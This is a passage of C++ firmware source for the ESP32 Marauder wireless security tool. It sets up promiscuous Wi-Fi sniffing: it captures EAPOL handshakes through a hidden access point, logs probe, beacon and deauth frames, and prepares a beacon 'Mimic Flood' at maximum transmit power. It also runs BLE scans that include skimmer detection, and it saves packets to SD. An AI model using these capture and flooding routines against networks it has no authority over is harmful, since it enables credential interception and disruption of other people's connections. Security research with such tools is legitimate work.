  584. display_obj.tft.setFreeFont(NULL);
  585. display_obj.tft.setCursor(0, 100);
  586. display_obj.tft.setTextSize(1);
  587. display_obj.tft.setTextColor(TFT_CYAN);
  588. display_obj.tft.print(F(text_table4[18]));
  589. #endif
  590. if (this->ble_initialized) {
  591. this->shutdownBLE();
  592. #ifdef HAS_SCREEN
  593. display_obj.tft.setTextColor(TFT_GREEN);
  594. display_obj.tft.println(F("OK"));
  595. #endif
  596. }
  597. else {
  598. #ifdef HAS_SCREEN
  599. display_obj.tft.setTextColor(TFT_RED);
  600. display_obj.tft.println(F(text17));
  601. display_obj.tft.println(F(text_table4[19]));
  602. #endif
  603. }
  604. }
  605. void WiFiScan::RunInfo()
  606. {
  607. String sta_mac = this->getStaMAC();
  608. String ap_mac = this->getApMAC();
  609. String free_ram = this->freeRAM();
  610. //Serial.print("STA MAC: ");
  611. //Serial.println(sta_mac);
  612. //Serial.print("AP MAC: ");
  613. //Serial.println(ap_mac);
  614. Serial.println(free_ram);
  615. #ifdef HAS_SCREEN
  616. display_obj.tft.setTextWrap(false);
  617. display_obj.tft.setFreeFont(NULL);
  618. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  619. display_obj.tft.setTextSize(1);
  620. display_obj.tft.setTextColor(TFT_CYAN);
  621. display_obj.tft.println(text_table4[20]);
  622. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  623. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  624. #endif
  625. if (this->wsl_bypass_enabled) {
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[23]);
  628. #endif
  629. }
  630. else {
  631. #ifdef HAS_SCREEN
  632. display_obj.tft.println(text_table4[24]);
  633. #endif
  634. }
  635. #ifdef HAS_SCREEN
  636. display_obj.tft.println(text_table4[25] + sta_mac);
  637. display_obj.tft.println(text_table4[26] + ap_mac);
  638. display_obj.tft.println(text_table4[27] + free_ram);
  639. #endif
  640. if (sd_obj.supported) {
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.println(text_table4[28]);
  643. display_obj.tft.print(text_table4[29]);
  644. display_obj.tft.print(sd_obj.card_sz);
  645. display_obj.tft.println("MB");
  646. #endif
  647. }
  648. else {
  649. #ifdef HAS_SCREEN
  650. display_obj.tft.println(text_table4[30]);
  651. display_obj.tft.println(text_table4[31]);
  652. #endif
  653. }
  654. battery_obj.battery_level = battery_obj.getBatteryLevel();
  655. if (battery_obj.i2c_supported) {
  656. #ifdef HAS_SCREEN
  657. display_obj.tft.println(text_table4[32]);
  658. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  659. #endif
  660. }
  661. else {
  662. #ifdef HAS_SCREEN
  663. display_obj.tft.println(text_table4[34]);
  664. #endif
  665. }
  666. #ifdef HAS_SCREEN
  667. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  668. #endif
  669. }
  670. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  671. sd_obj.openCapture("espressif");
  672. #ifdef MARAUDER_FLIPPER
  673. flipper_led.sniffLED();
  674. #else
  675. led_obj.setMode(MODE_SNIFF);
  676. #endif
  677. #ifdef HAS_SCREEN
  678. display_obj.TOP_FIXED_AREA_2 = 48;
  679. display_obj.tteBar = true;
  680. display_obj.print_delay_1 = 15;
  681. display_obj.print_delay_2 = 10;
  682. display_obj.initScrollValues(true);
  683. display_obj.tft.setTextWrap(false);
  684. display_obj.tft.setTextColor(TFT_WHITE, color);
  685. #ifndef MARAUDER_MINI
  686. display_obj.tft.fillRect(0,16,240,16, color);
  687. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  688. display_obj.touchToExit();
  689. #endif
  690. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  691. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  692. #endif
  693. esp_wifi_init(&cfg);
  694. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  695. esp_wifi_set_mode(WIFI_MODE_NULL);
  696. esp_wifi_start();
  697. esp_wifi_set_promiscuous(true);
  698. esp_wifi_set_promiscuous_filter(&filt);
  699. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  700. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  701. this->wifi_initialized = true;
  702. initTime = millis();
  703. }
  704. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  705. {
  706. #ifdef MARAUDER_FLIPPER
  707. flipper_led.sniffLED();
  708. #else
  709. led_obj.setMode(MODE_SNIFF);
  710. #endif
  711. sd_obj.openCapture("packet_monitor");
  712. #ifndef MARAUDER_MINI
  713. #ifdef HAS_SCREEN
  714. display_obj.tft.init();
  715. display_obj.tft.setRotation(1);
  716. display_obj.tft.fillScreen(TFT_BLACK);
  717. #endif
  718. #ifdef HAS_SCREEN
  719. #ifdef TFT_SHIELD
  720. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  721. Serial.println("Using TFT Shield");
  722. #else if defined(TFT_DIY)
  723. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  724. Serial.println("Using TFT DIY");
  725. #endif
  726. display_obj.tft.setTouch(calData);
  727. //display_obj.tft.setFreeFont(1);
  728. display_obj.tft.setFreeFont(NULL);
  729. display_obj.tft.setTextSize(1);
  730. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  731. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  732. delay(10);
  733. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  734. display_obj.tftDrawColorKey();
  735. display_obj.tftDrawXScaleButtons(x_scale);
  736. display_obj.tftDrawYScaleButtons(y_scale);
  737. display_obj.tftDrawChannelScaleButtons(set_channel);
  738. display_obj.tftDrawExitScaleButtons();
  739. #endif
  740. #else
  741. #ifdef HAS_SCREEN
  742. display_obj.TOP_FIXED_AREA_2 = 48;
  743. display_obj.tteBar = true;
  744. display_obj.print_delay_1 = 15;
  745. display_obj.print_delay_2 = 10;
  746. display_obj.initScrollValues(true);
  747. display_obj.tft.setTextWrap(false);
  748. display_obj.tft.setTextColor(TFT_WHITE, color);
  749. #ifndef MARAUDER_MINI
  750. display_obj.tft.fillRect(0,16,240,16, color);
  751. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  752. display_obj.touchToExit();
  753. #endif
  754. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  755. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  756. #endif
  757. #endif
  758. Serial.println("Running packet scan...");
  759. esp_wifi_init(&cfg);
  760. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  761. esp_wifi_set_mode(WIFI_MODE_NULL);
  762. esp_wifi_start();
  763. esp_wifi_set_promiscuous(true);
  764. esp_wifi_set_promiscuous_filter(&filt);
  765. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  766. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  767. this->wifi_initialized = true;
  768. uint32_t initTime = millis();
  769. }
  770. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  771. {
  772. #ifdef MARAUDER_FLIPPER
  773. flipper_led.sniffLED();
  774. #else
  775. led_obj.setMode(MODE_SNIFF);
  776. #endif
  777. num_eapol = 0;
  778. #ifndef MARAUDER_MINI
  779. #ifdef HAS_SCREEN
  780. display_obj.tft.init();
  781. display_obj.tft.setRotation(1);
  782. display_obj.tft.fillScreen(TFT_BLACK);
  783. #endif
  784. sd_obj.openCapture("eapol");
  785. #ifdef HAS_SCREEN
  786. #ifdef TFT_SHIELD
  787. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  788. //Serial.println("Using TFT Shield");
  789. #else if defined(TFT_DIY)
  790. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  791. //Serial.println("Using TFT DIY");
  792. #endif
  793. display_obj.tft.setTouch(calData);
  794. display_obj.tft.setFreeFont(NULL);
  795. display_obj.tft.setTextSize(1);
  796. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  797. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  798. delay(10);
  799. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  800. display_obj.tftDrawEapolColorKey();
  801. display_obj.tftDrawChannelScaleButtons(set_channel);
  802. display_obj.tftDrawExitScaleButtons();
  803. #endif
  804. #else
  805. sd_obj.openCapture("eapol");
  806. #ifdef HAS_SCREEN
  807. display_obj.TOP_FIXED_AREA_2 = 48;
  808. display_obj.tteBar = true;
  809. display_obj.print_delay_1 = 15;
  810. display_obj.print_delay_2 = 10;
  811. display_obj.initScrollValues(true);
  812. display_obj.tft.setTextWrap(false);
  813. display_obj.tft.setTextColor(TFT_WHITE, color);
  814. #ifndef MARAUDER_MINI
  815. display_obj.tft.fillRect(0,16,240,16, color);
  816. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  817. display_obj.touchToExit();
  818. #endif
  819. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  820. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  821. #endif
  822. #endif
  823. esp_wifi_init(&cfg);
  824. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  825. esp_wifi_set_mode(WIFI_MODE_AP);
  826. esp_err_t err;
  827. wifi_config_t conf;
  828. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  829. if (err != 0)
  830. {
  831. Serial.print("could not set protocol : err=0x");
  832. Serial.println(err, HEX);
  833. }
  834. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  835. conf.ap.ssid[0] = '\0';
  836. conf.ap.ssid_len = 0;
  837. conf.ap.channel = this->set_channel;
  838. conf.ap.ssid_hidden = 1;
  839. conf.ap.max_connection = 0;
  840. conf.ap.beacon_interval = 60000;
  841. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  842. if (err != 0)
  843. {
  844. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  845. Serial.println(err, HEX);
  846. }
  847. esp_wifi_start();
  848. esp_wifi_set_promiscuous(true);
  849. esp_wifi_set_promiscuous_filter(&filt);
  850. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  851. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  852. else
  853. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  854. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  855. this->wifi_initialized = true;
  856. initTime = millis();
  857. }
  858. // Function to prepare for beacon mimic
  859. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  860. #ifdef HAS_SCREEN
  861. display_obj.TOP_FIXED_AREA_2 = 48;
  862. display_obj.tteBar = true;
  863. display_obj.print_delay_1 = 15;
  864. display_obj.print_delay_2 = 10;
  865. display_obj.initScrollValues(true);
  866. display_obj.tft.setTextWrap(false);
  867. display_obj.tft.setTextColor(TFT_BLACK, color);
  868. #ifndef MARAUDER_MINI
  869. display_obj.tft.fillRect(0,16,240,16, color);
  870. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  871. display_obj.touchToExit();
  872. #endif
  873. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  874. #endif
  875. packets_sent = 0;
  876. esp_wifi_init(&cfg);
  877. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  878. esp_wifi_set_mode(WIFI_AP_STA);
  879. esp_wifi_start();
  880. esp_wifi_set_promiscuous_filter(NULL);
  881. esp_wifi_set_promiscuous(true);
  882. esp_wifi_set_max_tx_power(78);
  883. this->wifi_initialized = true;
  884. initTime = millis();
  885. }
  886. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  887. {
  888. sd_obj.openCapture("pwnagotchi");
  889. #ifdef MARAUDER_FLIPPER
  890. flipper_led.sniffLED();
  891. #else
  892. led_obj.setMode(MODE_SNIFF);
  893. #endif
  894. #ifdef HAS_SCREEN
  895. display_obj.TOP_FIXED_AREA_2 = 48;
  896. display_obj.tteBar = true;
  897. display_obj.print_delay_1 = 15;
  898. display_obj.print_delay_2 = 10;
  899. display_obj.initScrollValues(true);
  900. display_obj.tft.setTextWrap(false);
  901. display_obj.tft.setTextColor(TFT_WHITE, color);
  902. #ifndef MARAUDER_MINI
  903. display_obj.tft.fillRect(0,16,240,16, color);
  904. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  905. display_obj.touchToExit();
  906. #endif
  907. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  908. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  909. #endif
  910. esp_wifi_init(&cfg);
  911. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  912. esp_wifi_set_mode(WIFI_MODE_NULL);
  913. esp_wifi_start();
  914. esp_wifi_set_promiscuous(true);
  915. esp_wifi_set_promiscuous_filter(&filt);
  916. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  917. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  918. this->wifi_initialized = true;
  919. initTime = millis();
  920. }
  921. // Function to start running a beacon scan
  922. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  923. {
  924. sd_obj.openCapture("beacon");
  925. #ifdef MARAUDER_FLIPPER
  926. flipper_led.sniffLED();
  927. #else
  928. led_obj.setMode(MODE_SNIFF);
  929. #endif
  930. #ifdef HAS_SCREEN
  931. display_obj.TOP_FIXED_AREA_2 = 48;
  932. display_obj.tteBar = true;
  933. display_obj.print_delay_1 = 15;
  934. display_obj.print_delay_2 = 10;
  935. display_obj.initScrollValues(true);
  936. display_obj.tft.setTextWrap(false);
  937. display_obj.tft.setTextColor(TFT_WHITE, color);
  938. #ifndef MARAUDER_MINI
  939. display_obj.tft.fillRect(0,16,240,16, color);
  940. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  941. display_obj.touchToExit();
  942. #endif
  943. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  944. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  945. #endif
  946. esp_wifi_init(&cfg);
  947. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  948. esp_wifi_set_mode(WIFI_MODE_NULL);
  949. esp_wifi_start();
  950. esp_wifi_set_promiscuous(true);
  951. esp_wifi_set_promiscuous_filter(&filt);
  952. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  953. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  954. this->wifi_initialized = true;
  955. initTime = millis();
  956. }
  957. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  958. {
  959. sd_obj.openCapture("raw");
  960. #ifdef MARAUDER_FLIPPER
  961. flipper_led.sniffLED();
  962. #else
  963. led_obj.setMode(MODE_SNIFF);
  964. #endif
  965. #ifdef HAS_SCREEN
  966. display_obj.TOP_FIXED_AREA_2 = 48;
  967. display_obj.tteBar = true;
  968. display_obj.print_delay_1 = 15;
  969. display_obj.print_delay_2 = 10;
  970. display_obj.initScrollValues(true);
  971. display_obj.tft.setTextWrap(false);
  972. display_obj.tft.setTextColor(TFT_WHITE, color);
  973. #ifndef MARAUDER_MINI
  974. display_obj.tft.fillRect(0,16,240,16, color);
  975. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  976. display_obj.touchToExit();
  977. #endif
  978. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  979. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  980. #endif
  981. esp_wifi_init(&cfg);
  982. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  983. esp_wifi_set_mode(WIFI_MODE_NULL);
  984. esp_wifi_start();
  985. esp_wifi_set_promiscuous(true);
  986. esp_wifi_set_promiscuous_filter(&filt);
  987. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  988. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  989. this->wifi_initialized = true;
  990. initTime = millis();
  991. }
  992. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  993. {
  994. sd_obj.openCapture("deauth");
  995. #ifdef MARAUDER_FLIPPER
  996. flipper_led.sniffLED();
  997. #else
  998. led_obj.setMode(MODE_SNIFF);
  999. #endif
  1000. #ifdef HAS_SCREEN
  1001. display_obj.TOP_FIXED_AREA_2 = 48;
  1002. display_obj.tteBar = true;
  1003. display_obj.print_delay_1 = 15;
  1004. display_obj.print_delay_2 = 10;
  1005. display_obj.initScrollValues(true);
  1006. display_obj.tft.setTextWrap(false);
  1007. display_obj.tft.setTextColor(TFT_BLACK, color);
  1008. #ifndef MARAUDER_MINI
  1009. display_obj.tft.fillRect(0,16,240,16, color);
  1010. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  1011. display_obj.touchToExit();
  1012. #endif
  1013. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  1014. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1015. #endif
  1016. esp_wifi_init(&cfg);
  1017. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1018. esp_wifi_set_mode(WIFI_MODE_NULL);
  1019. esp_wifi_start();
  1020. esp_wifi_set_promiscuous(true);
  1021. esp_wifi_set_promiscuous_filter(&filt);
  1022. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1023. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1024. this->wifi_initialized = true;
  1025. initTime = millis();
  1026. }
  1027. // Function for running probe request scan
  1028. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1029. {
  1030. sd_obj.openCapture("probe");
  1031. #ifdef MARAUDER_FLIPPER
  1032. flipper_led.sniffLED();
  1033. #else
  1034. led_obj.setMode(MODE_SNIFF);
  1035. #endif
  1036. #ifdef HAS_SCREEN
  1037. display_obj.TOP_FIXED_AREA_2 = 48;
  1038. display_obj.tteBar = true;
  1039. display_obj.print_delay_1 = 15;
  1040. display_obj.print_delay_2 = 10;
  1041. display_obj.initScrollValues(true);
  1042. display_obj.tft.setTextWrap(false);
  1043. display_obj.tft.setTextColor(TFT_BLACK, color);
  1044. #ifndef MARAUDER_MINI
  1045. display_obj.tft.fillRect(0,16,240,16, color);
  1046. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1047. display_obj.touchToExit();
  1048. #endif
  1049. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1050. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1051. #endif
  1052. esp_wifi_init(&cfg);
  1053. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1054. esp_wifi_set_mode(WIFI_MODE_NULL);
  1055. esp_wifi_start();
  1056. esp_wifi_set_promiscuous(true);
  1057. esp_wifi_set_promiscuous_filter(&filt);
  1058. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1059. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1060. this->wifi_initialized = true;
  1061. initTime = millis();
  1062. }
  1063. // Function to start running any BLE scan
  1064. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1065. {
  1066. #ifdef HAS_BT
  1067. #ifdef HAS_SCREEN
  1068. display_obj.print_delay_1 = 50;
  1069. display_obj.print_delay_2 = 20;
  1070. #endif
  1071. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1072. NimBLEDevice::setScanDuplicateCacheSize(200);
  1073. NimBLEDevice::init("");
  1074. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1075. if (scan_mode == BT_SCAN_ALL)
  1076. {
  1077. #ifdef HAS_SCREEN
  1078. display_obj.TOP_FIXED_AREA_2 = 48;
  1079. display_obj.tteBar = true;
  1080. display_obj.initScrollValues(true);
  1081. display_obj.tft.setTextWrap(false);
  1082. display_obj.tft.setTextColor(TFT_BLACK, color);
  1083. #ifndef MARAUDER_MINI
  1084. display_obj.tft.fillRect(0,16,240,16, color);
  1085. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1086. display_obj.touchToExit();
  1087. #endif
  1088. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1089. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1090. #endif
  1091. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1092. }
  1093. else if (scan_mode == BT_SCAN_SKIMMERS)
  1094. {
  1095. #ifdef HAS_SCREEN
  1096. display_obj.TOP_FIXED_AREA_2 = 160;
  1097. display_obj.tteBar = true;
  1098. display_obj.tft.fillScreen(TFT_DARKGREY);
  1099. display_obj.initScrollValues(true);
  1100. display_obj.tft.setTextWrap(false);
  1101. display_obj.tft.setTextColor(TFT_BLACK, color);
  1102. display_obj.tft.fillRect(0,16,240,16, color);
  1103. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1104. display_obj.twoPartDisplay(text_table4[43]);
  1105. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1106. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1107. #endif
  1108. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1109. }
  1110. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1111. pBLEScan->setInterval(97);
  1112. pBLEScan->setWindow(37); // less or equal setInterval value
  1113. pBLEScan->setMaxResults(0);
  1114. pBLEScan->start(0, scanCompleteCB, false);
  1115. Serial.println("Started BLE Scan");
  1116. this->ble_initialized = true;
  1117. initTime = millis();
  1118. #endif
  1119. }
  1120. // Function that is called when BLE scan is completed
  1121. #ifdef HAS_BT
  1122. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1123. printf("Scan complete!\n");
  1124. printf("Found %d devices\n", scanResults.getCount());
  1125. scanResults.dump();
  1126. } // scanCompleteCB
  1127. #endif
  1128. // Function to extract MAC addr from a packet at given offset
  1129. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1130. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1131. }
  1132. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1133. {
  1134. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1135. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1136. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1137. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1138. int len = snifferPacket->rx_ctrl.sig_len;
  1139. String display_string = "";
  1140. String src_addr_string = "";
  1141. if (type == WIFI_PKT_MGMT)
  1142. {
  1143. len -= 4;
  1144. }
  1145. int fctl = ntohs(frameControl->fctl);
  1146. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1147. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1148. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1149. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1150. //{
  1151. char addr[] = "00:00:00:00:00:00";
  1152. getMAC(addr, snifferPacket->payload, 10);
  1153. src_addr_string.concat(addr);
  1154. bool match = false;
  1155. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1156. if (src_addr_string.startsWith(espressif_macs[i])) {
  1157. match = true;
  1158. break;
  1159. }
  1160. }
  1161. if (!match)
  1162. return;
  1163. delay(random(0, 10));
  1164. Serial.print("RSSI: ");
  1165. Serial.print(snifferPacket->rx_ctrl.rssi);
  1166. Serial.print(" Ch: ");
  1167. Serial.print(snifferPacket->rx_ctrl.channel);
  1168. Serial.print(" BSSID: ");
  1169. Serial.print(addr);
  1170. //display_string.concat(" RSSI: ");
  1171. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1172. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1173. //display_string.concat(" ");
  1174. display_string.concat(" -> ");
  1175. display_string.concat(addr);
  1176. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1177. {
  1178. display_string.concat(" ");
  1179. }
  1180. Serial.print(" ");
  1181. #ifdef HAS_SCREEN
  1182. display_obj.loading = true;
  1183. display_obj.display_buffer->add(display_string);
  1184. display_obj.loading = false;
  1185. #endif
  1186. Serial.println();
  1187. if (save_packet)
  1188. sd_obj.addPacket(snifferPacket->payload, len);
  1189. //}
  1190. }
  1191. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1192. {
  1193. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1194. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1195. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1196. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1197. int len = snifferPacket->rx_ctrl.sig_len;
  1198. String display_string = "";
  1199. String src = "";
  1200. String essid = "";
  1201. if (type == WIFI_PKT_MGMT)
  1202. {
  1203. len -= 4;
  1204. int fctl = ntohs(frameControl->fctl);
  1205. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1206. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1207. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1208. #ifdef HAS_SCREEN
  1209. int buf = display_obj.display_buffer->size();
  1210. #else
  1211. int buf = 0;
  1212. #endif
  1213. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1214. {
  1215. char addr[] = "00:00:00:00:00:00";
  1216. getMAC(addr, snifferPacket->payload, 10);
  1217. src.concat(addr);
  1218. if (src == "de:ad:be:ef:de:ad") {
  1219. delay(random(0, 10));
  1220. Serial.print("RSSI: ");
  1221. Serial.print(snifferPacket->rx_ctrl.rssi);
  1222. Serial.print(" Ch: ");
  1223. Serial.print(snifferPacket->rx_ctrl.channel);
  1224. Serial.print(" BSSID: ");
  1225. Serial.print(addr);
  1226. //display_string.concat(addr);
  1227. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1228. Serial.print(" ESSID: ");
  1229. display_string.concat(" -> ");
  1230. // Just grab the first 255 bytes of the pwnagotchi beacon
  1231. // because that is where the name is
  1232. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1233. for (int i = 0; i < len - 37; i++)
  1234. {
  1235. Serial.print((char)snifferPacket->payload[i + 38]);
  1236. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1237. if (isAscii(snifferPacket->payload[i + 38]))
  1238. essid.concat((char)snifferPacket->payload[i + 38]);
  1239. else
  1240. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1241. }
  1242. //essid.concat("\": \"\"}}");
  1243. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1244. // Load json
  1245. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1246. DynamicJsonDocument json(1024); // ArduinoJson v6
  1247. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1248. // ArduinoJson v6
  1249. if (deserializeJson(json, essid)) {
  1250. Serial.println("\nCould not parse Pwnagotchi json");
  1251. display_string.concat(essid);
  1252. }
  1253. else {
  1254. Serial.println("\nSuccessfully parsed json");
  1255. String json_output;
  1256. //json.printTo(json_output); // ArduinoJson v5
  1257. serializeJson(json, json_output); // ArduinoJson v6
  1258. Serial.println(json_output);
  1259. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1260. }
  1261. int temp_len = display_string.length();
  1262. for (int i = 0; i < 40 - temp_len; i++)
  1263. {
  1264. display_string.concat(" ");
  1265. }
  1266. Serial.print(" ");
  1267. #ifdef HAS_SCREEN
  1268. if (display_obj.display_buffer->size() == 0)
  1269. {
  1270. display_obj.loading = true;
  1271. display_obj.display_buffer->add(display_string);
  1272. display_obj.loading = false;
  1273. }
  1274. #endif
  1275. Serial.println();
  1276. if (save_packet)
  1277. sd_obj.addPacket(snifferPacket->payload, len);
  1278. }
  1279. }
  1280. }
  1281. }
  1282. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1283. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1284. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1285. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1286. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1287. int len = snifferPacket->rx_ctrl.sig_len;
  1288. String display_string = "";
  1289. String essid = "";
  1290. String bssid = "";
